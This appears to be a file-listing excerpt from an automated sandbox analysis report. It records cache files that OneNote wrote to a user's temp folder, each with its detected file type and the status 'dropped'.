C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002L.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 95x498, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002M.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 700x114, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002N.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002O.bin
|
PNG image data, 813 x 99, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002P.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002Q.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 780x107,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002R.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002S.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 613x144, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002T.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002U.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 276x139,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000002V.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000030.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 814x45, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000031.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000032.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 262x277,
components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000033.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000034.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 70x626, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000035.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000036.bin
|
PNG image data, 177 x 123, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000037.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000038.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 17x608, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000039.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003A.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 357x69, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003B.bin
|
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 14x341, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003C.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003D.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:15:20], progressive, precision 8, 604x784, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003E.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003F.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:13:06], progressive, precision 8, 570x779, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003G.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003H.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003I.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003J.bin
|
PNG image data, 40 x 623, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003K.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003L.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003M.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003N.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:10:32], progressive, precision 8, 594x773, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003O.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003P.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:12:29], progressive, precision 8, 598x766, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003Q.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003R.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:19:29], progressive, precision 8, 221x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003T.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000003V.bin
|
PNG image data, 60 x 336, 4-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000040.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000041.bin
|
PNG image data, 40 x 617, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000042.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000043.bin
|
PNG image data, 50 x 600, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000044.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000045.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000046.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000047.bin
|
PNG image data, 77 x 627, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000048.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000049.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004A.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004B.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004C.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004D.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004E.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004F.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:05:55], progressive, precision 8, 612x618, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004G.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004H.bin
|
PNG image data, 176 x 513, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004I.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004J.bin
|
PNG image data, 40 x 650, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004K.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004L.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:27:10], progressive, precision 8, 102x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004M.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004N.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:18:09], progressive, precision 8, 164x641, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004O.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004P.bin
|
PNG image data, 50 x 556, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004Q.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004R.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004T.bin
|
PNG image data, 171 x 552, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000004V.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:11:38], progressive, precision 8, 577x757, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000050.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000051.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:26:15], progressive, precision 8, 216x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000052.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000053.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:09:29], progressive, precision 8, 609x675, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000054.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000055.bin
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000056.bin
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000057.bin
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000058.bin
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000059.bin
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005A.bin
|
PNG image data, 189 x 305, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005B.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005C.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005D.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005E.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005F.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005G.bin
|
PNG image data, 50 x 500, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005H.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005I.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005J.bin
|
OpenPGP Public Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005K.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005L.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005M.bin
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005N.bin
|
OpenPGP Public Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005O.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005P.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005Q.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005R.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005T.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000005V.bin
|
big endian ispell hash file (?), 8-bit, no capitalization, 26 flags
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000060.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000061.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000062.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000063.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000064.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000065.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000066.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000067.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000068.bin
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000069.bin
|
OpenPGP Public Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006A.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006B.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006C.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006D.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006E.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006F.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006G.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006H.bin
|
big endian ispell hash file (?), 8-bit, no capitalization, 26 flags
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006I.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006J.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006K.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006L.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006M.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006N.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006O.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006P.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006Q.bin
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006R.bin
|
big endian ispell hash file (?), 8-bit, no capitalization, 26 flags
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006T.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000006V.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000070.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000071.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000072.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000073.bin
|
OpenPGP Secret Key
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000074.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000075.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000076.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000077.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000078.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000079.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007A.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007B.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007C.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
CS Windows, datetime=2004:03:12 11:08:07], baseline, precision 8, 595x450, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007D.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007E.bin
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007F.bin
|
PNG image data, 3005 x 184, 8-bit/color RGBA, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007G.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007H.bin
|
PNG image data, 39 x 600, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007I.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007J.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007K.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007L.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:44:07], progressive, precision 8, 611x163, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007M.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007N.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007O.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007P.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007Q.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007R.bin
|
PNG image data, 39 x 579, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007S.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007T.bin
|
PNG image data, 30 x 700, 8-bit colormap, non-interlaced
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007U.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000007V.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000080.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000081.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000082.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000083.bin
|
JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data,
big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop
7.0, datetime=2004:03:04 13:06:24], progressive, precision 8, 38x792, components 3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000084.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000085.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000086.bin
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000087.bin
|
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 612x792, components
3
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\00000088.bin
|
data
|
dropped
|
||
